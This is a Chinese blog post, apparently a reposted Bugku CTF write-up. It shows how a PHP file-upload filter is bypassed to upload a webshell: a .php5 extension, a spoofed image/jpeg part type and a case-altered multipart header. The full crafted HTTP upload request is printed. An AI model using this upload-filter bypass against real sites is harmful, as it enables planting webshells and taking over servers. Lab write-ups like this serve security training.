博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
bugku 求getshell
阅读量:3960 次
发布时间:2019-05-24

本文共 1201 字,大约阅读时间需要 4 分钟。

求getshell

文件上传漏洞,过滤

在这里插入图片描述

很明显这是一个文件上传的题,我们尝试去上传一句话木马

一共三个过滤

请求头部的 Content-Type文件后缀请求数据的Content-Type

这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)

最终发现,php5可以绕过

接下来,请求数据的Content-Type字段改为 image/jpeg

但是一开始没注意到,上面还有一个请求头Content-Type字段,大小写绕过: mULtipart/form-data;

最终修改后的数据包为:

POST /web9/index.php HTTP/1.1Host: 123.206.87.240:8002User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: mUltipart/form-data; boundary=---------------------------57052814523281Content-Length: 326Origin: http://123.206.87.240:8002Connection: closeReferer: http://123.206.87.240:8002/web9/index.phpCookie: PHPSESSID=d1ev2hnqiscqsmajh3su3iqki4pkp6q3; phpMyAdmin=ZbKzBxoKhN4AmjV25Ubb0zFbWdcUpgrade-Insecure-Requests: 1-----------------------------57052814523281Content-Disposition: form-data; name="file"; filename="webshell.php5"Content-Type: image/jpeg
-----------------------------57052814523281Content-Disposition: form-data; name="submit"Submit-----------------------------57052814523281--

在这里插入图片描述

转载地址:http://rkhzi.baihongyu.com/

你可能感兴趣的文章